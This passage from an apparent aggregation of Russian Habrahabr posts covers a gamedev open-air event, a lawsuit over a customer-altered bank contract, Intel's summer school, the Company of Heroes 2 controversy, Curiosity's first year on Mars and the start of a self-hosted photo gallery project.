Гвоздем программы стали доклады генерального директора Sphinx Technologies Андрея Аксенова shodan (Воронеж). В первый день Андрей очень вдохновляюще доказывал, что на самом деле нет никаких сложных задач, в худшем случае задачи могут быть долгими или нудными. В числе прочего, он утверждал, что мозг программисту вовсе и нужен, требуется лишь «легкая природная склонность и 10-15 лет тренировок». Второй доклад был о низкоуровневых оптимизациях кода (его, кстати, пришлось разбить на две части, потому что вся полезная информация в отведенное время не уместилась).



Иван Авдеев w23 (Новосибирск) поведал о секретах демосцены, рассказав про технологии создания 3D-демок размером в 64 KB, 4 KB и даже 256 байт!





Доклад плавно перетек в “полупьяный кодинг шейдеров”, как выразился один из участников опен-эйра. Выглядело это так: Иван при свете звезд и мониторов писал с нуля 3D-демку, shodan комментировал происходящее: “по-моему, кто-то сейчас переизобретает билинейную фильтрацию текстур…”, за происходящим завороженно наблюдали зрители.





Технический директор Alawar Entertainment Александр Погребняк (Новосибирск) рассказал о технологиях казуальных игр и о том, как на них зарабатывать.



Программист серверной части Genius Games Руслан Машуков (Красноярск) поведал о технических стадиях развития Action MMO.



Программист-многостаночник Павел Наказненко (Красноярск) поделился опытом, болью и радостями портирования Unreal Engine 3 на FLASH.



Специалисты UNIGINE, конечно, тоже делились своими знаниями и опытом. Наш технический директор Александр Запрягаев (Frustum) рассказал о специфике создании 3D-движка для огромных виртуальных миров.



Генеральный директор Денис Шергин binstream познакомил участников с основами 3D-графики «на пальцах».



Анна Чаплинская поведала о роли и боли билд-инженера в геймдеве.



3D-художник Давыд Видигер сорвал овации, рассказав и показав воксельное моделирование в 3D-Coat. Докладами дело не ограничилось, ребят ловили с разными вопросами в перерывах.



Доклады на опен-эйре были не только на технические темы. Андрей Викторов, сооснователь Fate Studio (Новосибирск), рассказал о нелегкой жизни маленьких студий, независимо разрабатывающих игры.



Генеральный директор Alawar Stargaze Наталья Оглоблина (Барнаул) — о том, как можно использовать игровые техники в управлении проектами.



Презентации докладов, показанные и не показанные на опен-эйре из-за яркого солнца, можно посмотреть здесь.

Fun-часть

В свободное время участники разгружали мозг, играя в волейбол/бадминтон/фрисби или просто загорая.





Ближе к ночи первого дня, когда закончились все доклады, началось виски-party, продолжившееся drum'n'bass вечеринкой. Те, кому плясать не хотелось, ушли наблюдать за кодингом шейдеров, рисовать картины светом (freeze light) или разбрелись по кострам по интересам.







Я, например, к вечеру первого дня выглядела как-то вот так…



В этом году мы в качестве эксперимента организовали новую площадку — fun-зону, где можно было окунуться в виртуальную реальность с помощью Oculus Rift, поиграть в Battle City, Super Mario Bros или Contra на эмуляторе NES, порубиться с друзьями в Mortal Kombat 9 на PlayStation 3.









Кстати, любители MK во второй день приняли участие в мини-турнире, его победитель в качестве приза получил клевую футболку опен-эйра.





Эксперимент с fun-зоной удался: там почти всегда было людно и весело. К следующему опен-эйру придумаем что-нибудь еще!

Отзывы, фото- и видеоотчеты


За фото, использованные в этом посте, спасибо Маше Аникиной, Леше Лавренкову, Александру Качкину, Сергею Ларину, Марии Крывда, Сергею Грэю, Даниилу Тутубалину.





UNIGINE Open Air 2014

Мы уже строим грандиозные планы на следующий год! Главная идея — сделать так, чтобы опен-эйр охватывал весь цикл производства игр. Для этого мы собираемся организовать несколько лекционных площадок и увеличить количество докладов, которые были бы интересны художникам и инженерам Q&A.
Планируйте поездку в Томск на июль 2014 года!



Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Воронежец заключил с банком договор, внеся свои правки, и собирается отсудить 24 миллиона рублей

Наверное, нет человека, которого бы не раздражало, что самые важные пункты в договорах всегда пишутся «мелким шрифтом».

Но, зная об этом, раз за разом многие люди подписывают бумаги, не прочитав их внимательно, и платят комиссии, о которых не догадывались.

42-летний житель Воронежа нашел остроумный способ обратить эту особенность в свою пользу и теперь, пользуясь невнимательностью банкиров, собирается отсудить у них 24 миллиона рублей.

В 2008 году житель областного центра получил от ЗАО «Тинькофф Кредитные системы» письмо с предложением воспользоваться кредитной картой. Для её оформления нужно было заполнить заявление-анкету и отправить его по указанному адресу.

Воронежец отсканировал бланк и изменил условия, предложенные банком, в той самой части с мелким шрифтом. Он указал, что процентная ставка за пользование кредитом и комиссия за выдачу наличных средств составляют 0%, а «клиент вправе не оплачивать все комиссии и платы, предусмотренные тарифами». Помимо этого, вместо адреса банка www.tcsbank.ru воронежец указал свой сайт www.tcsbank.at.ua, подтвердив, что «с действующими Общими Условиями и Тарифами, размещенными в сети Интернет, ознакомлен». Другими словами, он прописал для себя безлимитный и беспроцентный кредит.

Отдельно в договоре на его сайте предусматривались случаи, если банк нарушит условия документа. «Банк не имеет право вносить изменения и дополнения в настоящие Общие Условия в одностороннем порядке. В случае изменения, дополнения, замены Общих условий в одностороннем порядке Банком, Банк выплачивает компенсацию Клиенту в размере 3 000 000 (три миллиона) рублей, за каждое очередное изменение, дополнение, замену Общих условий», — указал клиент. Компенсация от банка при расторжении договора в одностороннем порядке была установлена в 6 миллионов рублей.

Вскоре юридически подкованный клиент получил от банка утвержденную копию анкеты-заявления и кредитную карту. Это означало, что банк согласен на предложенные условия. Судя по всему, банкиры подписали документ, не читая, так и не узнав, что клиент предложил им свои условия.

Банк расторг с воронежцем договор в апреле 2010 года, так как, по мнению ТКС, клиент начал допускать просрочку по оплате минимального платежа. Через два года ЗАО «Тинькофф Кредитные системы» обратилось в суд, чтобы взыскать с бывшего клиента стандартные просрочки, комиссии и штрафы. Воронежец, оплатив только сумму основного долга, подал свой иск, требуя с банка 24 миллиона рублей компенсации за нарушение пунктов кредитного договора, заключенного на его условиях.

Сейчас у воронежца есть неплохие шансы выиграть иск к банку. Хотя бы потому, что ранее суд признал законным договор, который заключили стороны. Согласно этому решению, договор, составленный клиентом, признан законным.

Так что, %username%, всегда внимательно читай написанное мелким шрифтом. Даже если ты — банк :)

[ отсюда ]

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Два дня из жизни летней школы Intel 0x7DD


В конце апреля в блоге Intel был объявлен набор в очередную Летнюю школу Intel 2013 года. И призыв не прошел неуслышанным; в результате из 24 студентов школы пятеро попали сюда, увидев пост на Хабре. Однако наверняка кто-то все-таки не увидел вовремя приглашение или упустил его из виду и теперь сожалеет об этом. Чтобы вам сожалелось еще больше и в следующем году вы были нацелены воспользоваться своим шансом, хотел бы опубликовать свой небольшой отчет о двух днях, проведенных среди сотрудников, сегодняшних и прошлых студентов школы – о том, что я там увидел и услышал.

Замечу сразу: эти два дня не были ординарными в жизни школы, а вмещали в себя семинар, на который помимо студентов приглашаются менеджеры проектов Intel, наставники, выпускники школы прошлых лет, а также приглашенные гости.


Открытие школы 3 июля. Традиционная для Intel пицца и напутственные слова наставников

Летняя школа Intel существует уже 13 лет — она ровесница нижегородскому отделению компании. За это время через ее классы прошло более 500 студентов из самых различных ВУЗов и городов Российской Федерации: Санкт-Петербурга, Волгограда, Уфы и многих других городов, включая, конечно, Нижний Новгород. Некоторые из них были приглашены на этот семинар. На фото снизу, в первом ряду в центре Дмитрий Крыжановский, выпускник 2003 года, проводящий в Волгоградском ГТУ свою студенческую школу по робототехнике. Пользуясь случаем, приглашаем в нее записываться — занятия начнутся в октябре.


Первый день семинара. Слушаем рассказы об Intel

Первый день семинара проходил в офисе Intel. Перед нами выступили менеджеры основных подразделений Intel, находящихся в Нижнем Новгороде. Затем наступила очередь сегодняшних и вчерашних студентов: они рассказали о своих научных и коммерческих проектах. Докладчики увлекались и то и дело превышали временной лимит, но на них никто не обижался.


День второй. Те же, но уже на природе — и настроение совсем другое

Во второй день мы поехали на волю — в летний оздоровительный лагерь НГТУ «Ждановец», на берег Горьковского моря. Там доклады продолжились, но воспринимались они на природе уже совсем по-другому. После обеда настал черед спортивной программы и все ринулись на берег, хотя день был отнюдь не жаркий.


Куратор — он куратор во всем. Директор академических программ Intel Виктор Самофалов (в красной куртке) обучает катанию на парусной доске

Отдых оказался настолько увлекательным, что к началу последнего номера программы — круглого стола, посвященного построению карьеры в современных условиях, в зале заседаний отсутствовала добрая половина студентов во главе с модераторами обсуждения. Однако мероприятие все-таки состоялось, после чего усталые, но довольные, мы отбыли домой.


Их знает каждый летний школьник — Лариса Михайловна Фадина и Наталия Копченова

В качестве дополнения к репортажу предлагаю вам два интервью со студентами летней школы — нынешним и прошлым; о том, как школа может повлиять на карьеру специалиста и об ожиданиях, связанных с ней.

Максим Кривов, студент летней школы 2009 года

Максим, каким образом вы узнали о летней школе Intel?
Будучи студентом ВМиК МГУ, я постоянно мониторил сайт Intel и участвовал в их конкурсах. Например, мы дважды выходили в финал Intel Game Demo Contest. Там я и увидел статью про летнюю школу. А дальше заполнил заявку, ну и меня приняли.

В чем, на ваше взгляд, заключается главное, что может дать летняя школа студенту-программисту?
Самое главное, по-моему, это опыт работы в большой компании, когда удаётся вживую поучаствовать в процессе разработки софта. Причём процессе качественном и отлаженном, это ж Intel. Узнать, что такое code review, как правильно проводить refactoring, познать всю мощь шаблонов C++. Что ещё важнее, школа длится почти два месяца, и удаётся не просто на всё это посмотреть со стороны, а самому сделать конкретную задачу под надзором ментора.

Каким образом повлияла школа на вашу профессиональную деятельность?
Самым непосредственным образом. Я и до нее занимался параллельным программированием, но после участия в школе я понял, что это не просто одно из теоретических направлений, а востребованная работа, которую мало кто умеет нормально делать и за которую готовы платить. Кроме того, здесь я познакомился со студентом из Красноярска (Сергей Гризан), с которым мы вместе работали над одной задачей. Сразу после школы мы решили разработать свою библиотеку для гетерогенных систем, ну а дальше завертелось-закрутилось. Основали свою компанию ttgLabs, появились заказчики и деньги, библиотеку довели до продукта. Сейчас начинаем продажи. В ноябре нашей компании, к слову, будет уже три года.

По вашей информации, помогает ли участие в школе трудоустройству в Intel?
Здесь всё зависит от личной мотивации. Если ставить цель попасть в Intel, то школа – идеальный вариант. Не в том плане, что после неё гарантированно возьмут на работу, а что появится возможность изнутри посмотреть на компанию и выбрать интересный для себя проект. Познакомиться с руководителем, узнать, что именно они делают, какая там команда. Ну и проявить себя, естественно, без этого ничего не получится.

Ирина Соболева, студентка летней школы 2013

Ирина, в каком учебном заведении вы обучаетесь? Каким образом вы узнали о школе Intel?
Я учусь и работаю в Северном Арктическом Федеральном Университете, город Архангельск. Я пробовала подавать заявку в прошлом году, но не прошла, а в школу попал мой друг. В этом году я даже не планировала заявляться, но друг так много рассказывал, как ему понравилось в Intel и в Нижнем Новгороде – разрекламировал, в общем. В результате подала заявку в самый последний момент.

Ну и как, соответствует ли увиденное рассказам?
Я, наверное, очень впечатлительный человек. Все вокруг говорят: «вау, как здесь все здорово». Мне тоже нравится, но вот «вау» пока нет. Это относится больше к самому городу – как-то не смогла я найти здесь столько замечательного, чтобы проникнуться по-настоящему. Хотя и исходила всю историческую часть пешком.

Что вы можете сказать о научной работе, которую вы здесь ведете?
Чувствуется высокий профессиональный уровень тех людей, с которыми я общаюсь в Intel. Очень нравится стиль общения: можно задать любой вопрос и тебе спокойно и доходчиво все объяснят. Хорошее дополнение к обучению – возможность получить сертификат по программированию. Я пыталась пройти сертификацию у нас в городе, но здесь все сделано гораздо более грамотно и толково.

В чем основной итог школы для вас?
Я вынесла отсюда уверенность в себе. Я очень много спрашивала и поэтому узнала много нового. Студенту, выходящему на работу, трудно рассчитывать на такой уровень наставничества, как мы видим здесь, в Intel. В Университете, где я работаю, мне часто приходится разбираться во всем самой, здесь я чувствую себя в команде. Некоторые люди сравнивают свое нахождение в школе с написанием дипломной работы, только сроки тут гораздо более сжатые.

Вы не думали о карьере в Intel?
При моем текущем объеме знаний это будет тяжеловато. Сейчас я вижу тот уровень, к которому мне нужно стремиться, и если мне это удастся, можно будет думать о карьере в Intel.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


CoH2, учимся на чужих ошибках

События вокруг выхода очередной клюквы по мотивам Великой Отечественной войны приобрели неожиданный поворот. Настолько неожиданный, что задело даже аполитичный Хабр. Рассмотрим же последствия данного события для отечественного и зарубежного геймдева, а также попробуем сделать несколько выводов.


Предыстория

Для начала немного предыстории. Выход новой игры от компании Relic разочаровал многих отечественных фанатов данной серии тенденциозной подачей сюжета, имеющим весь набор штампов времён холодной войны, как то evil NKVD, заградотряды с пулемётами, одна винтовка на троих, ГУЛАГ и главный герой – диссидент неопределённой национальности. При этом игра претендует на историческую достоверность. В общем, “всё по секретным документам” ©. Особенно, данный взгляд контрастирует с оригинальной игрой о паладинах Запада без страха и упрёка, освобождающих французскую землю.
Одним из недовольных оказался популярный критик BadComedian, который до этого специализировался на фильмах. Обзор этой игры набрал на Карамбе почти полмиллиона просмотров, после чего по просьбе общественности была смонтирована американская версия, набравшая на данный момент почти четверть миллиона просмотров на YouTube.
Далее, уже другие лица, создали две петиции в 1С и Steam с просьбой прекратить продажу данной игры на территории СНГ. Набрав 20 тысяч подписей одна из них вынудила 1С прекратить продажу данной игры. Такого поворота мало кто ожидал, но это произошло.
В связи с обращениями пользователей, считающих недопустимыми ряд эпизодов игры, компания «1С-СофтКлаб» приняла решение c 26 июля 2013 г. остановить продажи компьютерной игры Company of Heroes 2 (разработчик – Relic Entertainment, издатель – SEGA) на территории Российской Федерации и СНГ. В данный момент мы анализируем ситуацию и проинформировали об этом разработчика и издателя Company of Heroes 2.

Взгляд Relic

Relic, пытавшаяся сперва не замечать реакцию общественности, потом высмеивать её, в конце концов вынуждены были уйти в глухую оборону, баня недовольных и отделив русских игроков от западных. Судя по тому, что недавно был уволен коммьюнити менеджер отвечающий за общение с русскоязычным сообществом, кое-кто ответит за этот «успех». Хотя, связано ли это с описываемыми событиями, или у него и вправду закончился контракт доподлинно не известно, но факт в том, что более он там не работает.

В процессе общения с Relic выяснилось много интересного. Ниже можно ознакомится с мнением Relic, наиболее выдающиеся куски выделены жирным шрифтом:

image
Текст
I don't think we quite anticipated the tone or volume of the negative reaction. The number of vague death threats I've received today from Russia is pretty amazing.

Let me be clear.We had a large Russian player base in the original Company of Heroes and that's grown to become our third largest after the USA and Germany. Russians are valude members of our community, and we hope to be better able to serve them in the future.

Most Russians who've played the game have given fantastic feedback. Some have even sent touching stories about how it's good to see a western company showing their side of the war rather than just doing another game about Normandy. Some of them mention their grandfathers or now great-grandfathers and where they served or possibly died.

Much of the negative feedback is coming from people who have not played the game. Just like it's not the people who read Harry Potter books who want to ban them, or it wasn't Beatles fans who wanted to burn their music, this wave of angry feedback is being whipped up by people who have taken snippets of our campaign, placed them out of context and then told people to be angry about it. But of course it's kind of an honour to get the Beatles / Harry Potter treatment if you think about it.

Those who have actually played the campaign should see that we do celebrate the bravery of the common Russian soldier, and how just as in any other army it isn't about fighting for you flag or your goverment but standing there next to the man beside you because he's your brother and comrade. There are scenes where soldiers disobey orders to save other soldier, and are punished for it.

Ultimately the Soviet Union was a brutal dictatorship as ruthless as Nazi Germany. That's why our game isn't about Stalin, because he was no hero. Nor was Hitler. The game is, and always has been, about the heroes on the front lines who had little to do with the politics that surrounded the war.

Lots of soldiers fought, on all sides, with bravery and honour. We don't deny that, and we believed we celebrate it with the game.

However we also show a few of the problematic aspects of living in a dictatorship. Times were hard, and maybe it could be argued that Stalin's tactics were what won the war. That however doesn't mean that they didn't happen, no matter how we choose to try to remember our history.

I'm a firm believer that a country should confront its past, even it's negative past. It gives us lessons for how to be better in the future.

This isn't a Russian problem anymore than people burning Beatles records is an American problem or people trying to ban Harry Potter is an American problem. It's small group of individuals making their country look bad because they've been told by something that has nothing to do with them.

Now go out and buy more copies of the game so we can sell as many as the Beatles and Harry Potter.


Я не думаю, что кто-либо из нас ожидал такого уровня или объёма негативной реакции. Количество расплывчатых угроз смерти, которые я получил на сегодняшний день из России довольно удивительно.

Позвольте мне внести ясность. У нас была большая русская база игроков в оригинальных Company of Heroes, которая выросла до третьей по величине после США и Германии. Россияне ценные члены нашего сообщества, и мы надеемся, лучше служить им в будущем.

Большинство россиян, которые играли в эту игру дали фантастические отзывы. Некоторые из них даже прислали трогательные истории о том, как приятно видеть западные компании, которые показывают войну с их стороны, а не просто делают другую игру про Нормандию. Некоторые из них упоминают своих дедов, или теперь прадедов и где они служили или, возможно, умерли.

Большая часть отрицательных отзывов идет от людей, которые не играли в эту игру. Так же, как люди, которые не читали книги о Гарри Поттере, но которые хотят запретить их, или люди которые не слышали песен Битлз, но которые хотели сжечь их музыку, эта волна гневных отзывов нагнетаются людьми, которые взяли фрагменты из нашей кампании, вырвали их из контекста, а затем заставили людей злиться по этому поводу. Но, конечно, это отчасти честь получить такую же реакцию как Beatles / Гарри Поттер, если задуматься над этим.

Те, кто на самом деле прошёл кампанию должны были увидеть, что мы отмечаем храбрость простого русского солдата, и как и в любой другой армии речь идет не о борьбе за флаг или правительство, но о человеке рядом с вами, который не отступил потому что он ваш брат и товарищ. Есть сцены, где солдат не подчиняться приказам, чтобы спасти жизнь другого солдата, за что его впоследствии наказывают.

В конце концов Советский Союз был жестокой диктатурой такой же безжалостной, как и нацистская Германия. Именно поэтому наша игра не о Сталине, потому что он не был героем. Как не был и Гитлер. Игра, и так было всегда, о героях на линии фронта, которые имели мало общего с политикой, и которых окружала война.

Множество солдат сражалось, со всех сторон, с мужеством и честью. Мы не отрицаем это, и мы хотели прославить это в игре.

Однако мы также показываем некоторые из проблемных аспектов жизни при диктатуре. Время было трудное, и то что именно тактика Сталина привела к победе – вопрос спорный. Это, однако, не означает, что эти вещи не происходили, неважно как бы нам хотелось помнить нашу историю.

Я твердо верю, что любая страна должна оглянуться на своё прошлоё, даже если оно было тёмным. Это учит нас, как сделать будущее лучше.

Это проблема русских не больше, чем сжигание записей Beatles или попытки запретить Гарри Поттера проблема американцев. Это небольшая группа лиц, выставляющая их страну в плохом свете, потому что кто-то сказал им на YouTube, то что не имеет отношения к ним.

А теперь выйдите и купите так ещё копии игры, тогда мы сможем продать также много как Beatles и Гарри Поттер.

Самое интересное, что можно из этого подчерпнуть, это то, что Россия оказывается занимает 3-е место среди любителей RTS. А третий по объёму рынок сбыта – это не то, чем можно просто так пренебречь.

Реакция общественности

image
Большая часть отзывов пользователей варьировалась от резко до умеренно отрицательных. В одном из отзывов, размещенных на сайте Metacritic написано: «Спасибо. Гитлер бы играл в эту игру с удовольствием»
В конце июня к оценке игры подключились и люди, не связанные с игровой индустрией: так, среди недовольных сюжетом игры, кроме блоггеров и геймеров, оказались и участники событий, которые описаны в «Company of Heroes-2». Иван Карнаухов, ветеран Великой Отечественной Войны, участник битвы под Москвой и Курско-Орловской битвы заявил:
Ни от каких пулеметов, которые будто бы били нам в спины, мы не бегали. Мы воевали за Родину […] Конечно, трусы существовали во все времена и были во всех армиях. Но это не значит, что нужно относиться к нашей стране так оскорбительно, как это делают разработчики таких игр. Нас нельзя так позорить
Самарский писатель Василий Семенов выразил своё мнение об игре так:
Разработчики этой стратегии либо больные на голову, либо преднамеренно извращают нашу историю, нивелируют великую победу Красной Армии. Вранье про злобные заградотряды просто раздражает

Реакция хабра была менее однозначной. Хотя связано это скорее с неприятием какой-либо цензуры в принципе и возведением свободы самовыражения в абсолют, при которой автор может высказывать любую точку зрения.

Итоги:

То что произошло вполне закономерно. Похожие ситуации были вокруг фильмов УС2 и «4 дня в мае». Уникальность данной ситуации лишь в том, что объектом недовольства в данном случае выступила игра, а не фильм.

Судьба Relic удивительно похожа на судьба автора Утомлённых Солнцем 2. Они безусловно талантливы, и имеют в прошлом выдающиеся произведения, но попытавшись нести в народ ПРАВДУ(!!!), состоящую из агитации доктора Геббельса, чуть более, чем полностью, потерпели громкое фиаско, после чего заявили, что во всё виноват “заговор блоггеров”, а сам фильм/игра хорошая. Проблема Relic, заключается в том, что они не изучили рынок являющийся 3-им по величине, в противном случае они бы знали, что наш народ уже сыт помоями на Великую Отечественную Войну и давно не голосует за них рублём и реакция общественности не застала бы их врасплох. Они же решили, что их стереотипы о СССР это истина в последней инстанции, которая не подлежит сомнению, за что, собственно, и поплатились. Бытует мнение, что плохая это всё равно реклама, но мне почему-то кажется, что в самом Relic от текущей ситуации сейчас явно не в восторге. Да, большую часть прибыли они уже получили, но как это скажется на продажах их следующих игр, непонятно.
Казалось бы, что мешало им взять несколько наградных листов, благо их многие тысячи, и на основании их написать сценарий про реальных героев, а не про выдуманную войну? Неужели продажи в США и Германии из-за этого бы упали? Но нет, они решили разоблачить тоталитаризмъ. Чтож, возможно их конкуренты будут мудрее.

Правильно ли поступило 1С? С точки зрения самих 1С, наверное, оптимально. Игру они уже продали, большую часть прибыли уже получили, теперь можно и прекратить продажи. В случае если бы они отказались, потери были бы значительно выше, как имиджевые, так и финансовые. Возможно большинство подписавших петицию и вправду не играли в игру, и никогда её не купили бы, но если не удовлетворить их требованиям, то они могут вообще перестать что-либо покупать у 1С из принципа. Тем более, что скачать пиратку давно уже не представляет никаких проблем.

Выводы:


Во-первых какой бы известной компанией вы не были и как бы не были уверены в своих знаниях, но не поленитесь изучить свою аудиторию и рынок в целом. Иначе достаточно будет одной искры, в которой сгорит существенная часть вашей прибыли, а может закроется доступ к рынку в целом.

И во-вторых, оказывается не только в кино, но и в некоторых игровых жанрах отечественная аудитория уже достигла того веса, при котором можно выставлять свои собственные требования к разработчикам.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Curiosity — год


Долго думал, что написать к годовщине. То ли пересказать весь годовой маршрут марсохода, то ли сделать краткий обзор своих же постов, в которых прослежены основные вехи его пути, то ли рассказать, как Curiosity перевернул мою собственную жизнь. Много всего произошло, и на Земле и на Марсе, всего не пересказать. Поэтому решил поступить проще: рассказать основные результаты миссии. Благо, NASA на этот счет хорошую шпаргалку подготовило.

Совершенно фантастическая посадка произошла 6 августа 2012 около 9:18 по Московскому времени и начался долгий путь «улитки к горе Фудзи».


Предлагаю всем вернуться на год назад, и заново пережить волнующие моменты «Семи минут ужаса», собранные в двухминутный ролик JPL:


Инженеры и программисты JPL стали в этот день звездами телеэкрана, твит MarsCuriosity «GALE CRATER I AM IN YOU!!!» набрал 70 тыс. репостов, люди аплодировали на площадях, парках и рабочих местах. И, я уверен, такое происходило не только в США – сам следил за посадкой, а потом полдня хотелось бегать по коридорам офиса и кричать «Он сел!», правда, меня бы не поняли коллеги.

А так выглядела посадка с борта самого Curiosity:
(Звук искусственный)

В проекте марсохода уникально почти всё. Технология SkyCrane была опробована впервые, и подтвердила свою эффективность. Набор научных инструментов, за редким исключением, не повторяет что-либо из опускавшегося на Марс. При этом Curiosity вобрал в себя богатейший опыт эксплуатации марсоходов, накопленный за время предыдущих экспедиций. Теперь он не боится темноты и пылевых бурь благодаря РИТЭГу; не боится песчаных дюн, средних размеров, благодаря широким и большим колесам; не боится торчащих камней, благодаря высокому клиренсу. Теперь операторам не надо устраивать возню с цветными фильтрами для получения цветных снимков, которые так долго выносили мозг конспирологам со всего мира, не понимающим как из трех черно-белых кадров можно получить цветной. Теперь марсоходу не надо «щупать» каждый камень, чтобы провести химический анализ — лазерный-спектрометр делает это на расстоянии до 7 метров.

Вернемся к подведению итогов за год. Главное дело Curiosity и реализованная цель – это поиск геологических пород, которые сформировались в пресной воде. Открытие произошло совершенно неожиданно и быстро: серо-голубая глина, добытая буром Curiosity удивила всех.



Важность этой находки поняли не все журналисты, поэтому некоторые не упустили возможность пошутить по поводу очередного 100500-го открытия следов воды на Марсе.

Собственно на сегодня марсоход нашел массу таких следов пройдя всего 400 метров.
Речную гальку, которая могла сформироваться только в неглубоком горном потоке длиной не менее нескольких километров:


Гипсовые жилы, которые появились, когда насыщенная кальцием и сульфатами вода наполняла трещины в камнях и глине:


Застывшие потоки грязи:


Плиты песчаника, сложившиеся на песчаном дне водоема:

Полный размер

Важность обнаружения глины не столько в следах воды, сколько в том, что эта вода не имела высокой кислотности, несовместимой с жизнью. «Красный» цвет всего Марса, и большинства геологических пород на его поверхности, связан именно с окислением, прежде всего, железа, которое дало ржавчину. Предыдущие марсоходы находили либо вулканические породы, либо окисленный грунт.

Ученые ждали глину в кратере Гейла, но предполагали ее найти у подножия горы, к которой Curiosity начал движение всего месяц назад. В Glenelg отправились просто из любопытства и для того, чтобы потренироваться. Никто не думал, что поиск древней «докислотной» глины завершится так быстро.



Такая поверхность означала, что на Марсе были условия пригодные для микробной жизни. Найти самих микробов никто не надеялся, но вот сложные органические вещества, которую непременно оставила бы жизнь, известной нам формы, должны были найтись. Но не нашлись. Даже метан в атмосфере, который видели еще с Земли, и тот оказался на нуле. Хлорметаны, о которых объявили зимой, тоже могут оказаться ошибкой и следствием воздействия тех веществ, что привезли с Земли.

Таким образом, картина древнего Марса, которая формируется по нынешним данным Curiosity – это комфортная, теплая, влажная, пригодная к обитанию планета… но без обитателей. Примерно как наша Земля, до зарождения жизни. Может быть, Марсу просто не повезло, оказаться слишком маленьким, слишком легким, слишком удаленным от Солнца, слишком рядом к поясу астероидов. Может быть, у Земли есть что-то, чего нет в остальной Солнечной системе.
Узнаем точнее после нырка в океаны Европы и Энцелада.

Что же случилось с Марсом, который превратился из райского местечка в смертоносную пустыню, еще предстоит выяснить. И подробная геологическая история раскроется перед Curiosity, когда он, наконец, доберется до горы Шарпа.



Путь только начался, но NASA рвется вперед. Уже рекорд поставило – почти 105 метров за день умудрились проехать. Кажется до смешного мало, но на все 8 км рассчитывают затратить около года, а если б каждый день по сотне проезжали, то добрались бы гораздо быстрее. Пока прошли всего 10% маршрута, но сделали это за месяц, так что темпы набраны неплохие.

Подробнее о первых 800 метрах дороги.

Зато уже проделанный путь – в космосе – поможет ученым в проектировании пилотируемой миссии к Марсу. Благодаря радиационному датчику RAD Curiosity рассказал, что ожидает людей в межпланетном пространстве.

image

Результаты тоже не обнадеживающие. По крайней мере, стандарты радиационной безопасности NASA препятствуют марсианской экспедиции на той технике, что есть сейчас. Инженерам предстоит сложная задачка: надо либо разрабатывать надежные средства защиты от радиации, либо искать способы быстрого преодоления расстояний между планетами. И то и другое требует времени и значительных средств. Нам остается только следить за прогрессом на этом пути и способствовать ему по мере возможности. Как это сделать я постараюсь рассказать подробнее в отдельном материале.

Еще об одной заслуге Curiosity NASA забыло упомянуть, хотя само прилагало для этого огромные усилия. Марсоход как никогда приблизил Марс к человечеству. Он вдохновляет людей по всему миру на изучение наук, на стремление в будущее, к освоению космоса. Только сейчас мы получили возможность, практически в прямом эфире, любоваться гигантскими и невероятно детализованными панорамами соседней планеты.

image
Полный размер.

image
Полный размер

image
Полный размер

Мы смогли приблизиться к поверхности очень близко, и увидеть ее в натуральном цвете с детализацией до десятых долей миллиметра:





Марсоходу впервые удалось осветить поверхность четвертой планеты белым светодиодным светом, и снять со стороны этот процесс:



Снять полет Фобоса


Увидеть обе луны Марса в ночном небе



И одинокий месяц — в вечернем:



Поймать «затмения» (правильнее это событие называть транзит):





Закат

(Правда снят он на черно-белую камеру, а цвет неба позаимствован с цветного заката Spirit).

Впереди еще две кометы, и цветной закат, я уверен, тоже будет.

Один год – это только начало. Впереди еще тринадцать лет Марса, по крайней мере, атомная батарея обеспечит не меньше этого срока. Конечно, после начального ажиотажа, интерес к Curiosity изрядно сократился, но энтузиасты космоса со всего мира продолжают следить за каждым его шагом. И я постараюсь регулярно освещать его инопланетную жизнь.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


EazyPhoto: уютный фотохостинг для своего сервера

В недалекие времена, когда flickr ещё не предлагал терабайт под хранение фотографий, а BitTorrent Sync только вышел на экраны интернета в своей небезопасной альфа-версии, была у меня потребность: делиться фотографиями с друзьями и не только. Но как обычно у программистов это бывает, под словом «делиться» стоит гораздо больше, чем выложить фоточки во ВКонтактик. А именно:
  • Выложить куда-нибудь фотографии на свой сервер с красивым и простым web-интерфейсом.
  • Просто и массово заливать и скачивать оригиналы изображений.
  • Иметь возможность разграничить доступ к определенным альбомам.
  • Попытаться связать это с локальным сетевым хранилищем, чтобы не дублировать фотографии.
  • По возможности удалять оригиналы фотографий с сервера через какое-то время и оставлять только фотографии с измененным размером.
  • По-максимуму бесплатно! :)
После таких мыслей в голове начинает зарождаться идея: «Надо накреативить...» — и ты уже не можешь остановиться.

Что сейчас предлагают фотохостинги?
Гугл нашел очень много облачных сервисов для выкладывания фотографий, предназначенных в основном для фотографов (и не только). Суть всех сервисов сводится к тому, что начиная с определенного объема надо платить фиксированную сумму в месяц. Если за полгода сумма не выглядит большой, то спустя два года она будет неприятным напоминанием. Аналогию можно провести с оплатой ru-доменов по 600 рублей в год в nic.ru и с постоянным напоминанием себе, что надо бы перевести уже эти домены к другим регистраторам :).

С другой стороны, если у вас уже есть какой-нибудь сервер, то надо использовать его по максимуму. Я нашел два проекта, которые в принципе бы смогли подойти под мои задачи. Это Piwigo (бывший phpWebGallery) и Koken. Последний проект вообще очень сильно порадовал. Но познакомившись с ними поближе, понял, что это мне тоже не подходит.

Dropbox, Skydrive, Google+ (Picasa), Яндекс.Фотки — вот эти ребята отлично выполняли свои функции до тех пор, пока места хватало.

Поделиться с друзьями
Хочу подробнее рассказать о том, что значит для меня термин «поделиться». После какого-то события (будь то поездка на природу или прогулки по городу), в котором принимают участие несколько человек, появляется много фоток. После обработки фотки (300-700 МБ) отправляются на местный NAS (Synology DS210j). И вот эту папку с NAS надо бы выложить в Интернет, чтобы её скачали те самые друзья, которые есть на фотках.
Загружать/скачивать через браузер такой объем — не для меня.

Но в конечном итоге хочется иметь ссылку на альбом, которую можно скинуть ещё кому-нибудь. Ну и список альбомов тоже неплохо было бы получить. Простой обычный процесс.

Самое главное, должны быть оригиналы фотографий и нормальный ресайз без фильтров (не то, что сейчас предлагают VK и остальные). Потом, когда у каждого будет 4К телевизор (как сейчас FullHD), будет очень здорово полистать свой фотоархив и ещё раз порадоваться.

BitTorrent Sync
После того, как я прочитал новости о выходе первой версии BTSyncа под все платформы — я все осознал. В моей голове четко выстроился алгоритм работы:
  1. Первоначальная заливка фотографий происходит через BitTorrent Sync.
